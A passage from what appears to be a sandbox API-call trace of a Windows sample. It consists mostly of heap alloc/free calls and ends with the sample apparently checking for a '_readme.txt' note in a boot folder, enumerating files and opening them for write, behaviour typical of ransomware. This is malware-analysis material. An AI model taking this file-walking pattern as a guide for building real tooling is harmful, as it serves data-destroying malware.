(HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.608] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.608] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.608] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.608] PathFindFileNameW (pszPath="") returned="" [0059.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.609] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.609] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.609] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.609] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x81c) returned 0x30c8ab8 [0059.609] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0059.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.609] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0059.610] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.610] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.610] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.610] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.610] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.610] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.610] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.610] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.610] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.610] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0059.610] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.610] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.610] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, 